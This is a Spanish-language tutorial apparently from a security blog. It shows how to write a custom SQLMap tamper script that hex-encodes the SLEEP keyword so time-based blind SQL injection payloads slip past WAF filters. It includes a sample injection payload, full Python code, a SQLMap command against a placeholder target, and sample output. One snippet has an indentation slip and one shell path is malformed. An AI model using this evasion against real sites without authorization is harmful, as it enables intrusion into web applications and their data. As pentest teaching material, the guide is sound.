Omar Salazar .. / Cómo Crear un Tamper Personalizado para SQLMap

Guía, para crear un tamper personalizado para SQLMap con el objetivo de evadir restricciones de seguridad o sistemas WAF (Web Application Firewall).

Bypass

En esta pequeña guía vamos a ver cómo podemos crear un tamper personalizado para una de las herramientas más usadas en inyecciones de SQLi, SQLMap. En el ejemplo planteamos un escenario para “evadir” filtros de seguridad avanzados (WAF) que buscan patrones específicos en los payloads de inyección SQL, utilizando un payload de tipo SLEEP. Este payload introduce un retraso temporal en la respuesta del servidor para identificar vulnerabilidades de inyección SQL ciega basadas en tiempo.


Índice

  1. Introducción
  2. Descripción del Escenario
  3. Creación del tamper
  4. Implementación y Uso
  5. Conclusión
  6. Referencias

Introducción

SQLMap es una de las herramientas más poderosas y usadas para automatizadar, detectar y explotar vulnerabilidades de inyección SQL en aplicativos web. Sin embargo, muchas aplicaciones modernas ahora utilizan filtros avanzados que buscan bloquear patrones específicos en los payloads usados para realizar inyección SQL, lo que puede dificultar o impedir que SQLMap avance durante la explotación de dicha vulnerabilidad.

Para tener una oportunidad de saltar o evadir estas barreras, se utilizan tampers, que son scripts personalizados que modifican los payloads antes de enviarlos al servidor el mismo SQLMap posee algunos. Es aqui donde nos vamos a enfocar, vamos crear un tamper que obfusque la palabra clave SLEEP, utilizada en payloads de inyección SQL ciegas basadas en tiempo, para tratar de evadir los filtros que detectan y bloquean esta palabra clave.


Descripción del Escenario

Vamos a imaginar que estamos realizando una prueba en una aplicación web que tiene un parámetro vulnerable para inyección SQL. Para determinar si existe vulnerabilidad, decidimos utilizar un payload de tipo SLEEP, el cual introduce un retraso en la respuesta del servidor, lo que te permite inferir si la inyección SQL es exitosa en el tiempo de respuesta del servidor.

Payload Estándar

Un payload estándar para este propósito podría ser:

1
1' AND SLEEP(5) --

El payload va intentar introducir un retraso de 5 segundos en la respuesta del servidor si la inyección SQL es exitosa.

Problema

El aplicativo web utiliza filtros de seguridad que detectan y bloquean payloads que contienen la palabra clave específica como SLEEP. Lo que significaría que el payload anterior será bloqueado, impidiendo que SQLMap realice la prueba de inyección SQL.

Solución

Para tratar de evadir este filtro, tenemos que modificar el payload estándar de manera que la palabra clave SLEEP no sea reconocida por el filtro, pero al mismo tiempo mantenga su funcionalidad en la inyección SQL. Esto lo podemos lograr mediante el uso de un tamper que ofusca la palabra clave utilizando técnicas como la codificación hexadecimal.


Creación del tamper

Vamos a desarrollar un tamper en Python que codifica la palabra clave SLEEP usando una representación hexadecimal, para lograr evadir filtros de manera efectiva que buscan esta palabra clave específica durante la inyección SQL.

Paso 1: Configuración Inicial

  1. Entorno de Trabajo: Nos aseguramos de que SQLMap este descargado y un entorno de desarrollo Python bien configurado.

  2. Directorio del tamper: Vamos a crear un directorio dedicado para guardar tus tampers si aún no lo tienes. Por ejemplo:

    1
    
    mkdir -p ~/SQLMap/misTamper
    
  3. Archivo __init__.py: Dentro del directorio, creamos un archivo vacío llamado __init__.py, esto nos servirá para que Python reconozca el directorio como un paquete.

    1
    
    touch ~~/SQLMap/misTamper__init__.py
    

Paso 2: Desarrollo del Script

Creamos un archivo llamado sleep_tamper.py dentro del directorio de misTamper el cual lo creamos previamente, establecemos la prioridad del script en PRIORITY.NORMAL. Esto es para no romper la lógica de ejecución de SQLMap, ya que la herramienta prioriza otras funciones.

1
2
3
4
from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.NORMAL

Definimos la función hex_encode, la cual toma una cadena de texto como entrada y devuelve su representación en código hexadecimal URL-encoded.

1
2
    def hex_encode(text):    
    return ''.join(['%{:02X}'.format(ord(c)) for c in text])

Por último, definimos la función tamper, donde va toda la lógica de nuestro script, ofuscando la palabra clave SLEEP en una cadena (payload) usando la función hex_encode.

1
2
3
4
5
6
7
8
9
def tamper(payload, **kwargs):

    keywords = ['SLEEP']

    for word in keywords:
        pattern = re.compile(re.escape(word), re.IGNORECASE)
        payload = pattern.sub(lambda match: hex_encode(match.group()), payload)
    
    return payload

Tomando toda la estructura de nuestro script, logramos ofuscar la palabra clave SLEEP mediante la conversión a una representación hexadecimal para evadir filtros o detección. Mientras, la función hex_encode convierte texto a su representación hexadecimal URL-encoded, y la función tamper utiliza expresiones regulares para buscar palabras clave en un texto y codificarlas en hexadecimal.

El tamper completo quedaría de la siguiente manera.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.NORMAL

def hex_encode(text):
    """
    Convierte una cadena de texto en su representación hexadecimal URL-encoded.
    
    Ejemplo:
    >>> hex_encode("SLEEP")
    '%53%4C%45%45%50'
    """
    return ''.join(['%{:02X}'.format(ord(c)) for c in text])

def tamper(payload, **kwargs):
    """
    Obfusca la palabra clave SLEEP utilizando codificación hexadecimal para evadir filtros de detección.
    
    >>> tamper("SLEEP(5)")
    "%53%4C%45%45%50(5)"
    """
    # Definir las palabras clave a codificar
    keywords = ['SLEEP']

    # Utilizar expresiones regulares para reemplazar las palabras clave
    for word in keywords:
        pattern = re.compile(re.escape(word), re.IGNORECASE)
        payload = pattern.sub(lambda match: hex_encode(match.group()), payload)
    
    return payload

Implementación y Uso

Con nuestro nuevo tamper creado, ahora podemos utilizarlo en SQLMap para evadir el filtro que bloquea la palabra clave SLEEP.

Ejecución de SQLMap con Nuestro Tamper

Ejecutamos el siguiente comando en la terminal, reemplazando https://ejemplo.com/?id=vuln con la URL de tu objetivo y el id con el parámetro vulnerable.

1
2
SQLMap -u "https://ejemplo.com/?id=vuln" -p id --tamper=sleep_tamper.py --technique=T --time-sec=5 -v3
 

Desglose del Comando

Verificación de la Evasión Parámetro v3

Para verificar que el tamper está realizando su función correctamente, podemos aumentar el nivel de verbosidad (-v3) y observar los payloads que SQLMap está enviando. Deberíamos poder observar que la palabra clave SLEEP está siendo reemplazada por su versión codificada en hexadecimal %53%4C%45%45%50(5).

Ejemplo de Salida

1
2
[20:45:12] [INFO] testing 'AND SLEEP(5)'
[20:45:12] [PAYLOAD] AND %53%4C%45%45%50(5)

En el ejemplo de salida el payload original AND SLEEP(5) ha sido modificado a AND %53%4C%45%45%50(5), lo que indica que el tamper ha funcionado correctamente.

Prueba de Funcionamiento

Al ejecutar el comando, SQLMap intentará inyectar el payload ofuscado del tamper creado. Si la inyección SQL es exitosa, deberíamos notar un retraso en la respuesta del servidor de aproximadamente 5 segundos.


Conclusión del Proceso

El desarrollo de tampers personalizados es una técnica efectiva cuando nos enfrentamos a entornos con mecanismos de seguridad que usan algún tipo de filtro.

Esta guía puede aplicarse a otras palabras clave y técnicas de ofuscación; esto depende de las necesidades específicas y de la prueba de penetración a la que nos estemos enfrentando. La comprensión y capacidad para personalizar tampers de SQLMap nos ayudaria significativamente la efectividad y explotación de vulnerabilidades.


Referencias